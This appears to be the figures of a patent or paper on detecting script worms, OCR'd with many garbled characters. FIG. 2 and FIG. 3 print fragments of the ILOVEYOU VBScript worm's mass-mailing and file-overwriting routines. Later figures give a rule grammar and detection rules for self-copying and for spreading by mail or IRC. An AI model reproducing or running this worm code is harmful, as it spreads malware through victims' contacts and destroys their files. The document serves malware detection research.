

FIG. 2

```
set out = WScript.CreateObject("Outlook.Application")
                      set maps = out GetNameSpace (MAPY)
 GetNameSpace
 AddrassLists
                       for ctrists = 1 to mapi.AddressLista.Count
 Createltem
 AddressEntries
                        set a = mapi.AddressLista(ctrista)
 Attachments
                        for ctrentries = 1 to a AddressEntries Count
                         malead = a.AddressEntries(x)
                         set male = out Createitem 0)
                         male.Recipients.Add(malead)
       MAPI
                         male.Subject = "ILOVEYOU"
AddressEntries.Count
                         male.Body = vbcrlf & *kingly check the attached LOVELETTER coming from me.*
       Send
                         male Attachments Add("WLOVE-LETTER-FOR-YOU,TXT.vbs")
                         male Gong
                        next
                       next
```

FIG. 3

```
Set tso = CreateObject("Scripting.FileSystemObject")
set file = tso.OpenTextFile(WScript.ScriptFullname.1)
vbscopy = file.ReadAll
                                                     sub infectfiles(folderspec)
file.close
                                                     dim f, 11, fc, ap
folderlist("C:W")
                                                     set f = fso.GetFolder(folderspec)
                                                     set fc = f.Files
sub folderist(folderspec)
                                                     for each f1 in fc
dim f, f1, sf
                                                       if fso.GetExtensionName(f1.path) = "vbs" then
set f = fso.GetFolder(folderspec)
                                                         set ap=fso.OpenTextFile(f1.path,2.true)
set st = f.SubFolders
                                                         ap.write vbscopy
for each f1 in sf
                                                         ap.close
 infectfiles(f1.path)
                                                       end if
 folderlist(f1.path)
                                                      next
next
                                                      end sub
end sub
```

FIG. 4

FIG. 5

```
::= <match_ruld_id> ":" <pattern>
<Match_Rule>
                   ::= { (variable) | (string) | "*" | (char) }<sub>1</sub>.
<pattern>
<Relation_Rule>
                   ::= <relation_rule_id> ":" [ <precond> ] [ <cond> ] <action>
                   ::= "cond" <rule_variable> [ "==" | "<" ] <rule_variable>
<cond>
                   ::= "precond" <relation_rule_id> { "," <relation_rule_id> }
cond>
                   ::= "action" [ <assignment> | alert ]1.
⟨action⟩
                   ::= (variable> "=" <rule_variable>
<assignment>
                   ::= ((relation_rule_id)"."(variable)) | ((match_rule_id)"."(variable))
⟨rule_variable⟩
                   ::= "$" <digit>
<variable>
<relation_rule_id> ::= "R"[<digit> ! <alpha>]
                   ::= "M"[<digit> ; <alpha>]
<match_rule_id>
```

FIG. 6

ML1 : \$1.copyfile wscript, scriptful!name, \$2 [, *]

RLOCAL: precond ML1

action \$1 = ML1, \$2

Alert local copy

FIG. 7

MA1 : \$1. Attachments. Add \$2

RATTACH : cond RLOCAL, \$1 == MA1, \$2

action \$1 = MA1.\$1 '

MS1 : \$1. Send

RSEND : cond RATTACH, \$1 == MS1, \$1

action Alert spread by Mail

FIG. 8

MI1 : * send \$nick \$1

RIRC: cond RLOCAL, \$1 < MI1, \$1

action Alert spread by IRC

FIG. 9

